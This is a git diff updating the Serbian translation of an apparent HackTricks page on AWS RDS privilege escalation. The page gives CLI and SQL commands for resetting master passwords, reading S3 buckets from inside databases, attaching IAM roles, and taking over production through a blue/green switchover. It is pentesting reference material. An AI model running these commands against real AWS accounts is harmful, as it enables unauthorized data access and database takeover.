mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS - Relational Database Service
|
||||
## RDS - Relacijska usluga baza podataka
|
||||
|
||||
Za više informacija o RDS pogledajte:
|
||||
For more information about RDS check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Za više informacija o RDS pogledajte:
|
||||
|
||||
### `rds:ModifyDBInstance`
|
||||
|
||||
Sa tom dozvolom napadač može **izmeniti lozinku master korisnika**, i korisničko ime u bazi podataka:
|
||||
Sa tom dozvolom napadač može **izmeniti lozinku master korisnika**, i kredencijale za prijavu unutar baze podataka:
|
||||
```bash
|
||||
# Get the DB username, db name and address
|
||||
aws rds describe-db-instances
|
||||
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
|
||||
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Biće potrebno da možete da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža).
|
||||
> Biće potrebno da možete **uspostaviti kontakt sa bazom podataka** (one su obično dostupne samo iz unutrašnjih mreža).
|
||||
|
||||
**Potencijalni uticaj:** Pronalaženje osetljivih informacija u bazama podataka.
|
||||
**Potential Impact:** Pronalazak osetljivih informacija u bazama podataka.
|
||||
|
||||
### rds-db:connect
|
||||
|
||||
Prema [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) korisnik sa ovom dozvolom može da se poveže na DB instance.
|
||||
Prema [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) korisnik sa ovom dozvolom može da se poveže na DB instancu.
|
||||
|
||||
### Zloupotreba RDS Role IAM permissions
|
||||
### Zloupotreba RDS Role IAM dozvola
|
||||
|
||||
#### Postgresql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> Ako pokrenete **`SELECT datname FROM pg_database;`** i pronađete bazu podataka zvanu **`rdsadmin`**, znate da se nalazite u **AWS postgresql bazi**.
|
||||
> Ako pri izvršavanju **`SELECT datname FROM pg_database;`** nađete bazu podataka nazvanu **`rdsadmin`**, znate da se nalazite unutar **AWS postgresql baze podataka**.
|
||||
|
||||
Prvo možete proveriti da li je ova baza korišćena za pristup nekim drugim AWS servisima. To možete proveriti gledajući instalirane ekstenzije:
|
||||
Prvo možete proveriti da li je ova baza podataka korišćena za pristup nekim drugim AWS servisima. To možete proveriti gledajući instalirane ekstenzije:
|
||||
```sql
|
||||
SELECT * FROM pg_extension;
|
||||
```
|
||||
Ako nađete nešto poput **`aws_s3`** možete pretpostaviti da ova baza ima **neki vid pristupa over S3** (postoje i druge ekstenzije kao što su **`aws_ml`** i **`aws_lambda`**).
|
||||
Ako pronađete nešto poput **`aws_s3`** možete pretpostaviti da ova baza ima **neku vrstu pristupa S3** (postoje i druge ekstenzije kao što su **`aws_ml`** i **`aws_lambda`**).
|
||||
|
||||
Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete videti da li **cluster ima bilo koju IAM Role pridruženu** u polju **`AssociatedRoles`**. Ako ih ima, možete pretpostaviti da je baza bila **pripremljena za pristup drugim AWS servisima**. Na osnovu **name of the role** (ili ako možete dobiti **`permissions`** role) možete **pogoditi** koji dodatni pristup baza ima.
|
||||
Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete videti da li **klaster ima pridružen IAM Role** u polju **`AssociatedRoles`**. Ako ih ima, možete pretpostaviti da je baza bila **pripremljena za pristup drugim AWS servisima**. Na osnovu **imena role** (ili ako možete dobiti **dozvole** role) možete **pretpostaviti** koji dodatni pristup baza ima.
|
||||
|
||||
Sada, da biste **read a file inside a bucket** morate znati punu putanju. Možete ga pročitati pomoću:
|
||||
Sada, da biste **pročitali fajl unutar bucket-a** morate znati punu putanju. Možete ga pročitati sa:
|
||||
```sql
|
||||
// Create table
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
@@ -71,7 +71,7 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
Ako biste imali **raw AWS credentials**, mogli biste ih takođe koristiti za pristup S3 podacima pomoću:
|
||||
Ako biste imali **raw AWS credentials**, mogli biste ih koristiti i za pristup S3 podacima pomoću:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
@@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
);
|
||||
```
|
||||
> [!NOTE]
|
||||
> Postgresql **ne mora da menja nijednu promenljivu parametarske grupe** da bi mogao da pristupi S3.
|
||||
> Postgresql **ne mora da menja nijednu promenljivu u parameter group-u** da bi mogao da pristupi S3.
|
||||
|
||||
#### Mysql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> Unutar mysql-a, ako pokrenete upit **`SELECT User, Host FROM mysql.user;`** i postoji korisnik pod imenom **`rdsadmin`**, možete pretpostaviti da ste unutar **AWS RDS mysql db**.
|
||||
> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**.
|
||||
|
||||
Unutar mysql-a pokrenite **`show variables;`** i ako promenljive kao što su **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** imaju vrednosti, možete pretpostaviti da je baza podataka pripremljena za pristup S3 podacima.
|
||||
Unutar mysql-a pokrenite **`show variables;`** i ako promenljive poput **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** imaju vrednosti, možete pretpostaviti da je baza podataka pripremljena za pristup S3 podacima.
|
||||
|
||||
Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neku **associated role**, što obično znači pristup AWS servisima).
|
||||
Takođe, ako imate dozvole da izvršite **`aws rds describe-db-clusters`** možete proveriti da li klaster ima neki **associated role**, što obično znači pristup AWS servisima).
|
||||
|
||||
Sada, da biste **pročitali fajl unutar bucket-a** morate znati punu putanju. Možete ga pročitati sa:
|
||||
```sql
|
||||
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
|
||||
```
|
||||
### `rds:AddRoleToDBCluster`, `iam:PassRole`
|
||||
|
||||
Napadač sa dozvolama `rds:AddRoleToDBCluster` i `iam:PassRole` može **dodati određenu ulogu postojećoj RDS instanci**. To bi moglo omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke u toj instanci.
|
||||
Napadač sa dozvolama `rds:AddRoleToDBCluster` i `iam:PassRole` može **dodati određenu ulogu na postojeću RDS instancu**. Ovo može omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke unutar instance.
|
||||
```bash
|
||||
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
|
||||
```
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instance.\
|
||||
Imajte na umu da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji takođe zahteva navođenje role ARN u grupama parametara.
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.\
|
||||
Imajte na umu da neke DBs zahtevaju dodatne konfiguracije, kao što je Mysql, za koje je potrebno takođe navesti role ARN u aprameter groups.
|
||||
|
||||
### `rds:CreateDBInstance`
|
||||
|
||||
Samo sa ovom dozvolom napadač bi mogao da kreira **novu instancu unutar klastera** koji već postoji i ima prikačenu **IAM role**. Neće moći da promeni lozinku master korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:
|
||||
Samo sa ovom dozvolom napadač može kreirati **novu instancu unutar klastera** koja već postoji i kojoj je pridružen **IAM role**. Neće moći da promeni lozinku master korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:
|
||||
```bash
|
||||
aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
--db-instance-identifier mydbinstance2 \
|
||||
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Napadač koji ima dozvole `rds:CreateDBInstance` i `iam:PassRole` može **da kreira novu RDS instancu sa specificiranom ulogom prikačenom**. Napadač potom potencijalno može **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance.
|
||||
Napadač koji ima dozvole `rds:CreateDBInstance` i `iam:PassRole` može **kreirati novu RDS instancu sa navedenom pridruženom rolom**. Napadač potom može potencijalno **pristupiti osetljivim podacima** ili izmeniti podatke unutar instance.
|
||||
|
||||
> [!WARNING]
|
||||
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
> Neki zahtevi za role/instance-profile koje treba prikačiti (iz [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - Profil mora postojati na vašem nalogu.
|
||||
> - Profil mora imati IAM ulogu koju Amazon EC2 ima dozvole da preuzme.
|
||||
> - Ime instance profila i ime povezane IAM role moraju počinjati prefiksom `AWSRDSCustom` .
|
||||
> - Profil mora imati IAM rolu koju Amazon EC2 ima dozvole da preuzme.
|
||||
> - Ime instance profila i ime pridružene IAM role moraju početi prefiksom `AWSRDSCustom`.
|
||||
```bash
|
||||
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
|
||||
```
|
||||
**Mogući uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
|
||||
**Mogući uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instance.
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
Napadač sa permisijama `rds:AddRoleToDBInstance` i `iam:PassRole` može **dodati određenu rolu postojećoj RDS instanci**. Ovo bi napadaču omogućilo da **pristupi osetljivim podacima** ili izmeni podatke u instanci.
|
||||
Napadač sa dozvolama `rds:AddRoleToDBInstance` i `iam:PassRole` može **dodati određenu ulogu postojećoj RDS instance**. Ovo može omogućiti napadaču da **pristupi osetljivim podacima** ili izmeni podatke unutar instance.
|
||||
|
||||
> [!WARNING]
|
||||
> DB instanca mora biti van klastera za ovo
|
||||
> DB instance mora biti izvan klastera da bi ovo radilo
|
||||
```bash
|
||||
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
|
||||
```
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
|
||||
|
||||
Napadač sa ovim dozvolama može da klonira produkcijsku bazu podataka (Blue), pridruži IAM ulogu sa visokim privilegijama klonu (Green), i potom koristi switchover da zameni produkcijsko okruženje. Ovo omogućava napadaču da poveća privilegije baze podataka i stekne neovlašćen pristup drugim AWS resursima.
|
||||
```bash
|
||||
# Create a Green deployment (clone) of the production cluster
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name <name> \
|
||||
--source <production-db-cluster-arn>
|
||||
|
||||
# Attach a high-privilege IAM role to the Green cluster
|
||||
aws rds add-role-to-db-cluster \
|
||||
--db-cluster-identifier <green-cluster-id> \
|
||||
--role-arn <high-privilege-iam-role-arn>
|
||||
|
||||
# Switch the Green environment to Production
|
||||
aws rds switchover-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <deployment-id>
|
||||
```
|
||||
**Potential Impact**: Potpuno preuzimanje produkcionog okruženja baze podataka. Nakon prebacivanja, baza podataka radi sa povišenim privilegijama, što omogućava neautorizovan pristup drugim AWS servisima (npr. S3, Lambda, Secrets Manager) iz same baze podataka.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user